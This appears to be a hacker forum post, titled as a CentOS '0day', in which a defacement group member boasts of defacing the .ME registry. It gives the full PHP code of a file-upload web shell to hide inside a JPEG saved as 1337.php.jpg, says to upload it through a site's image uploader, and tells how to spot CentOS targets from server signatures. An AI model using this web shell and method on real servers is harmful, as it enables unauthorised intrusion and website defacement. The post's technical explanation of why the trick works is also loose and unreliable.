CentOS Shell Upload 0day

Assalamu Alaikum, HellO and Hi Everyone !
Few months ago, you might have seen that I had defaced NIC.me (.ME Official Domain Registry)
I was just checking for some bugs and I found an image upload option.
I tried temper data but it failed.
I then decided to add a php upload code into an image that I had on my desktop.
I simply right clicked an image that I had on my desktop and edited it with notepad++. .
At the end of the image code, I added :

Code:

<br>
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
    else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
}
?>

And saved that image as 1337.php.jpg

Once you have saved it, your computer will open and show that image as a normal picture. In that case when you upload it on a CentOS server that allows image upload, the system detects the image code and thinks its safe to upload. Once it is uploaded, CentOS server gets confused and takes that image as a normal .php file.
Open that image with the php code that you uploaded, and Wallahh !

How to know if a server is running on CentOS ?
You can see it by HTTP Live Header. If you don't know much about HTTP Live header, try to make the site give you an error like 404 Page not found or 403 Forbidden. On that page, see servers signature. You will see it like Apache/2.2.15 (CentOS) Server at http://www.target.com Port 80
Example:

Code:

http://domain.me/files/

This exploit/vulnerability was discovered by 1337 from TeaM MaDLeeTs
http://www.MaDLeeTs.com